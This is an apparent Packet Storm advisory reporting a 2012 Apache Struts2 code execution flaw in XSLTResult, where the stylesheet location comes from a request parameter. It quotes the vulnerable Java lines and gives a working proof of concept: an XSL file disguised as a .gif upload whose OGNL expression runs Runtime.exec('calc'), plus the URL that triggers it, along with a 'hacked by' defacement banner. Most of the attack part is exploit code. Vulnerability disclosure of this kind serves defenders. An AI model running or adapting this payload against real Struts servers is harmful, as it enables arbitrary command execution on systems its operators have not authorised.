Apache Struts2 Local Code Execution

🗓️ 23 Mar 2012 00:00:00Reported by voidloaferType

packetstorm🔗 packetstormsecurity.com👁 19 Views

Apache Struts2 Local Code Execution vulnerability description and exploi

`the file:  
  
http://svn.apache.org/repos/asf/struts/struts2/trunk/core/src/main/java/org/apache/struts2/views/xslt/XSLTResult.java  
  
String pathFromRequest = ServletActionContext.getRequest().getParameter("xslt.location");  
path = pathFromRequest;  
URL resource = ServletActionContext.getServletContext().getResource(path);  
templates = factory.newTemplates(new StreamSource(resource.openStream()));  
  
A use of the action of xsltResult:  
<action name="xslt" class="net.inbreak.xsltAction">  
<result type="xslt"/>  
</action>  
  
An attacker can upload a file:  
  
/upload/7758521.gif  
  
<?xml version="1.0" encoding="UTF-8" ?>  
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"  
version="1.0" xmlns:ognl="ognl.Ognl">  
<xsl:template match="/">  
<html>   
<body>   
<h2>hacked by kxlzx</h2>   
<h2>http://www.inbreak.net</h2>   
<exp>  
<xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/>  
</exp>  
</body>   
</html>   
</xsl:template>   
</xsl:stylesheet>  
  
open url  
  
http://www.inbreak.net/xslt.action?xslt.location=upload/7758521.gif  
  
then struts2 will execute  
  
ognl:getValue('@Runtime@getRuntime().exec("calc")', '')  
`

23 Mar 2012 00:00Current